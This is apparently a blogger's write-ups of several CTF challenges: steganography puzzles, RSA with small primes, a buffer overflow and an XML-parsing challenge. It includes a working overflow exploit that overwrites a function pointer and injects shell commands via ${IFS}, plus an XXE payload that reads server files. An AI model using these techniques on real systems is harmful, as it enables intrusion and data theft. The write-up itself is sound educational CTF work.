TSS CTF @ Polhacks - Writeups

I'm usually not really one to do CTF's except for maybe the one Master Boot Record made for their album release, that was pretty...eh..cool! So I went into this one with the aim to mostly take a look; well, before the competitive side of me kicked in. Without further ado, here's a tiny write-up of some of the challenges at Team Steam Stream's CTF at Polhacks!



Image of a field with a tower in the middle. Hidden QR code at the base of the tower.
The flag is in a QR-code at the base of that...art installation?

I'll begin with my biggest takeaway (and the challenge that I'm pretty embarrassed about). The story went something like this. I started with trying different steganography tools, looking around in bit planes, etc. What should I have done? Used a magnifying glass!

The flag: TSS{d0_y0u_Ev3n_z00m} (apparently I don't ev3n z00m!)

What sort?

Noise! Just tons of noise! Link to the original in the footnotes.

This is one of the challenges that only my team solved. As with the other ones, the clue really was in the title, but yet, that doesn't make it much easier.

We were given a PNG image with colored noise. I began with my usual steps, zsteg, looking at the different color planes but to no avail. The only thing that stood out was that the histogram didn't have a normal distribution.

I have previously done a bunch of reading about detecting steganography when writing an essay for a course in cryptology. The histogram did show some of the telltale signs of using LSB stego in JPEG images, but this wasn't a JPEG. Quite the red herring as I spent a fair amount of time on it!

I then took a step back and returned to trying to sort the image, but the question remained - how?

Some of the failed attempts at sorting the image
Some of the failed attempts at sorting the image, hmm, pretty sure the one on the left is some kind of abstract art!

In a fit of desperation I started writing random sorting functions, and whoops, I found the flag! It appeared when sorting by (exclusively) the blue color values!

from PIL import Image

def sort(elem):
    return elem[2]

if __name__ == '__main__':
    img = Image.open('./what_sort.png')
    in_pixels = list(img.getdata())
    out_pixels = list()
    for i in range(len(in_pixels)):
        r = in_pixels[i][0]
        g = in_pixels[i][1]
        b = in_pixels[i][2]

    out = Image.new(img.mode, img.size)
    out.putdata(sorted(out_pixels, key=sort))
    out.save("output.png", "PNG")
What sort of sorting is this even!
What sort? Flag!

The flag: TSS{0ne_sh4d3_0F_Ev3rYTh1nG}

No Problems

Another fun challenge was a buffer overflow in a tiny program. Both the code and a compiled version were given, and an ip to a server that ran it.

static struct {
	char name[32];
	func_ptr welcome_func;
} user = {"", welcome};

int main(int argc, char **argv) {
	printf("Enter your name: ");
	fflush(stdout);  /* Force printing of text without newline */
	scanf("%s", user.name);
	return 0;
Do you see the flaw?

By default, welcome_func is called that prints Welcome %s!, but there was another interesting function; one that calls system and takes a char * as an argument. Now it's just a question of calling it! For that we first need the pointer to the debug(char *). I used IDA since I left it open after solving another challenge, but a simple objdump -d also does the trick!

000000000040064e <debug>:
  40064e:       55                      push   %rbp
  40064f:       48 89 e5                mov    %rsp,%rbp
  400652:       48 83 ec 10             sub    $0x10,%rsp

Armed with the pointer to debug(char *), and the knowledge that the program uses scanf with a 32 char buffer we can write the exploit!

$ python3 -c 'print("ls&&"+"a"*28 + "\x4e\x06\x40\x00\x00\x00\x00\x00")' | nc [redacted] 3402
Enter your name: bin
The exploit!

The flag is almost in our grasp! We just need to take another step, but here there's an issue; scanf tokenizes based on spaces, so writing cat flag.txt is a no-go. To our rescue - ${IFS}!

python3 -c 'print("cat${IFS}flag.txt&&"+"a"*13 + "\x4e\x06\x40\x00\x00\x00\x00\x00")' | nc [redacted] 3402
Enter your name: TSS{oh_no_why_is_scanf_also_vulnerable}

Another flag is in the bag! TSS{oh_no_why_is_scanf_also_vulnerable}

The Great Library

Ouch this one took some time. The description of the challenge gave a link to a website called The Great Library. In it one could add books. Books were added via a form that sent XML via a POST request.

The frontpage of The Great Library

This time we worked as a team trying to find a way in. We went straight to trying sending different payloads to the book-adding endpoint. It was interesting since it seemed to parse the XML before sending it back. If everything was a-ok it sent back the same XML payload; if not, the same payload with Debug: in front.

Parsing XML can be vulnerable to XXE, a great lead and probably the way to find the flag. Though, this was the point where it became a challenge. Most payloads worked, but it wasn't possible to list the directory contents, nor was it possible to use PHP or gain RCE. Essentially we could read files such as /etc/passwd. They didn't contain anything interesting and didn't help finding the flag. At the verge of giving up after trying every (not really) combination of directory + flag.txt path we stumbled upon /proc/self/cwd. The path leads to the working directory of the calling process, maybe it contains the flag? And yes! It did!

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///proc/self/cwd/flag.txt">
<library >
Another flag!

Note, early on we missed that having an ampersand inside the XML block wouldn't work. The payload was sent as application/x-www-form-urlencoded, meaning that ampersands start a new parameter. Easily fixed by url-encoding it!

Note (29-03-2021): It was also possible to just write flag.txt instead of file:///...!

The flag: TSS{XXE_is_3vil}

Yea! XXE is 3vil!

Baby RSA

Oooh boy, this one was fun! The challenge is a bit of Python code that grabs two 128bit primes, multiplies them together, and computes the flag to the power of the two primes modulo 0x10001. But obviously, we don't get the flag!

>>> from Crypto.Util.number import *
>>> from secret import mb
>>> m = bytes_to_long(mb)
>>> p = getPrime(128)
>>> q = getPrime(128)
>>> n = p*q
>>> n
>>> e = 0x10001
>>> c = pow(m, e, n)
>>> c
The Challenge

The first step is that we need the primes. Since they are 128b it's pretty quick to just use brute force. To do it even more quickly I used YAFU to factorize it. In less than a second I had the primes. Not bad!

v1.34.5 @ starlight, System/Build Info:
detected Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz
======= Welcome to YAFU (Yet Another Factoring Utility) =======
>> factor(69586061906085540051574684541448305793082078794138892210351386386945396310889)
P39 = 330859484164582052492468774400104392613
P39 = 210319078752691261502818451033275924853
Factoring primes is fun!
>>> c = 14457922847671015922822335630194367530081431673128686384494069860770793019523
>>> p = 210319078752691261502818451033275924853
>>> q = 330859484164582052492468774400104392613
>>> e = 0x10001
>>> N = p*q
>>> L = (p-1)*(q-1)
>>> d = pow(e, -1, L)
>>> m = pow(c,d,N)
>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(m)

And with that, another flag: TSS{small_enough_to_factorize}


This one is tricky when you don't realize which metadata should be in a file, and how it should look. But when you do!

XMP Toolkit : Image::ExifTool 12.16
Rights      : x**5 + -5453537b426a4f724e5f4d69734b346e4734747a * x**4 + 53565980d0a31083f7742f8136f152d0fc5ed6786a * x**3 + -1c49c7f44c62abd0c77c86770cf64d81b290ff7cddfc * x**2 + 393c314a5a127819ce9ea6a2f7fc9a378e69835c4afdd * x + -1823632ed7c74a64dec5f672c85e0993a0fbd436c893d2
Artist      : TSS

The "Rights" field looks weird right? Because it is weird! Polynomials and stuff, things mathematicians do. Anywhoo! The next step is to solve it!

from sympy import symbols, solve

x = symbols('x')
expr = [that looooong polynomial]

sol = solve(expr)

for s in sol:
$ python .\solve.py

The last one looks interesting, and it is, because it's the flag! Apparently, another team was playing around with the coefficients and got parts of the flag. Crazy stuff.

Flag: TSS{BjOrN_MisK4nG4s}

Other Challenges

There were quite a few more challenges, more that I have the patience, time, and space to write about extensively. Also, a few of the challenges were solved by my partner in crime, so I'll kept those out! But here's a quick summary:

  • A GameBoy game and challenge called PewPew. The flag was hidden in an asset file and had to be reconstructed (I did it with Paint!). Got all the files by disassembling using mgbdis.
  • We Live in Random Times consisted of a text file encrypted using a one-time-pad seeded with time. Reversing it was a matter of brute force stepping back in time from the current time. Solved by my teammate after I gave up trying to get my code to work!
  • Police Request - an image file containing a text file with excepts from Star Trek (woo!) and a Polhacks logo. Spent too much time on trying to find anything special there. Then used binwalk on the file instead. Got over 3GB of cat pictures. More importantly it indicated that there seemed to be PDF hidden. It didn't automatically extract it so a bit of manual cutting was necessary, but lo and behold! There was the flag. PS: I was rather terrified at the prospect of wading thru all those cat pictures looking for steganography.


CTF's seem fun and thanks to the people at Team Steam Stream that created the challenges and being super encouraging. I had a blast!

[0] Link to what_sort.png https://static.skyeto.dev/img/tssctf/what_sort.png

29/03/2021 Added the Baby RSA challenge text.
29/03/2021 Added note on The Great Library that you could simply use flag.txt